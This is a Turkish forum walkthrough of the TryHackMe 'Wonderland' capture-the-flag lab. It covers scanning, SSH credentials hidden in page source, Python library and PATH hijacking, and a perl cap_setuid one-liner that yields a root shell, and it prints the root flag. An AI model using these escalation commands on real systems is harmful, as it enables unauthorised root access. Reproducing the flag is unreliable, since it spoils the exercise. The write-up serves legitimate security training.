TryHackMe | Wonderland WriteUp

Pytang

Katılımcı Üye
18 Eki 2014
317
327
subdomain
rhvJ8ft.jpeg


Zorluk: Medium

Merhaba, bu yazımda TryHackMe sitesinde bulunan
Wonderland isimli makinenin çözümünü anlatacağım.

Nmap taraması yaparak başlayalım.

Kod:
nmap -sC -sV -oN makineIp
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 23:05 EET
Nmap scan report for 10.10.210.206 (10.10.210.206)
Host is up (0.13s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
|   256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_  256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)


80 portu var makineye ait bir website var demek ki tarayıcımıza http://makineIP yazarak giriş yapalım.

h3ctf5u.PNG


Çıkan sayfada tavşanı takip et yazısını görüyoruz başka bir ipucu varmı diye sayfanın kaynağını görüntülüyorum.


rxulcvf.PNG


Sayfa kaynak koduna baktığımızdada herhangi birşey bulamadım bu yüzden dirb kullanarak dizin taraması yapalım.

ptixzau.PNG


Çıkan dizinlere baktım,
/img dizininde birkaç resim vardı ama ip ucu yoktu buyüzden /r dizinine bakıyorum.

jz0av6o.PNG


/r dizinine girdiğimde bana devam etmemi söyledi bayabir düşündükten sonra ana sayfadaki tavşanı takip et yazısı aklıma geldi, bende uzantıyı şöyle devam ettirdim /r/a/b/b/i/t/ böylece gizli sayfaya ulaşmış oldum.

3aqzubo.png


Sayfada bulunan yazıları okuduğumda herhangi bir ipucu bulamadım, sayfanın kaynağına baktım burada bana bir kullanıcı adı ve parola verdiğini gördüm bunları ssh bağlantısı için kullanabiliriz.


i9izwfv.PNG


Bize verdikleri ile ssh bağlantısı yapalım.

fqcf2px.PNG


Başarıyla bağlandık. Öncelikle “/home” dizini altında kaç kullanıcımız olduğuna baktım.

Sudo-l yazarak makinede root olmadan erişebileceğim dosyalara bakıyorum. privesc için bir python dosyasını kullanıcı rabbit olarak çalıştırabileceğimizi buldum.


f3pdld3.PNG


Cat komutu kullanarak dosyanın içeriğini görüntüledim. Dosyanın içerisinde şiir vardı pek bir şey anlayamadım.

o7kdsh1.PNG


Dosyayı çalıştırdık ama pek bir şey olmadı. Burada yapabileceğimiz şey, Python Library Hijacking yapmaktır. Bu teknik ile rabbit isimli kullanıcıdan bir shell almak için random isimli modülü manipüle edebilir ve dosyayı tekrar çalıştırabiliriz. Bunu yapabilmemizin nedeni Python'un temelleri altında yatıyor. Bir Python dosyasını çalıştırdığımızda, Python dosyasının içine aktarılan modüller önce mevcut çalışma dizininde kontrol ediliyor. Mevcut çalışma dizini altında bu modüller yoksa, Python kendi modüllerini arar.

52muj4n.PNG


Böylelikle makinede rabbit kullanıcısı olabildik. Makinede rabbit dizinine giderek içersidinde neler var bakalım. User.txt maalesef burada yok ctf sayfasınıdaki ipucuna tıklıyorum.

qqlswrv.PNG


Ctf sayfasındaki ipucuna tıkladığımda, mesaj bize burada her şeyin alt üst olduğunu söylüyor. Biraz düşündükten sonra user flag'ın root dizininin altında olduğunu anladım.

h5cbdko.PNG


Şimdi User Flag aldık devam edebiliriz. Öncelikle SUID bit setine de sahip olan teaParty isimli dosyayı inceleyelim.

e9bmmwu.PNG


Dosya türünü kontrol ettiğimizde ELF formatında olduğunu yani çalıştırılabilir bir dosya olduğunu görüyoruz. Dosyayı çalıştırdığımızda, verdiğimiz girdi ne olursa olsun “Segmentation error (core dumped)” hata mesajını görüyoruz. "Muhtemelen Pzt, 10 Ag 2021 18:24:02 +0000" yazan satır. Buradan anladığımız şu ki, dosyada o anki tarih verisini çeken bir değişken var.

Bunu yapmak için PATH değişkeni aracılığıyla Yürütme Akışı Kaçırma yapabiliriz. Çünkü; PATH değişkeni, UNIX sistemlerinde yürütülebilir programları tutan dizinleri belirten değişkendir. Ayrıca bir SUID bit set dosyası(teaParty) olduğundan, bu dosyanın PATH değişkenini değiştirebilir ve kullanıcıdan bu dosyanın gerçekte ait olduğu bir shell elde edebiliriz. Bunu yapmak için, bu dizinde date adlı başka bir dosya oluşturmamız gerekiyor.


4z71zpt.PNG


Dosyayı oluşturduktan sonra ele geçirmek için PATH değişkenini ayarlayalım ve dosyayı tekrar çalıştıralım.


gse4mpu.PNG


Execution Flow Hijacking'i başarıyla gerçekleştirdik ve hatter adlı kullanıcıya erişebildik. Bir sonraki adım, bu kullanıcının ana dizini altında ne olduğunu inceledim ve password.txt adlı bir dosya ile karşılaştım.

q2r8vy1.PNG


Bir parola var, sanırım ssh bağlantısını kullanarak hatter olarak girebilmek için bu parolayı kullanabiliriz.
Kod:
$ ssh hatter@$ip
[email protected]'s password:

hatter@wonderland:~$ whoami;id
hatter
uid=1003(hatter) gid=1003(hatter) groups=1003(hatter)

Kod:
atter@wonderland:~$ getcap -r / 2>/dev/null
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep

Perl'in CAP_SETUID özelliğine sahip olduğunu görebiliriz, bu da UID'yi değiştirebileceğimiz anlamına gelir. GTFOBINS işimize yarar.

Kod:
hatter@wonderland:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# whoami;id
root
uid=0(root) gid=1003(hatter) groups=1003(hatter)

Root olduk son hedefimize artık ulaşabiliriz.

Kod:
# 
# cat /home/alice/root.txt
thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}


 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.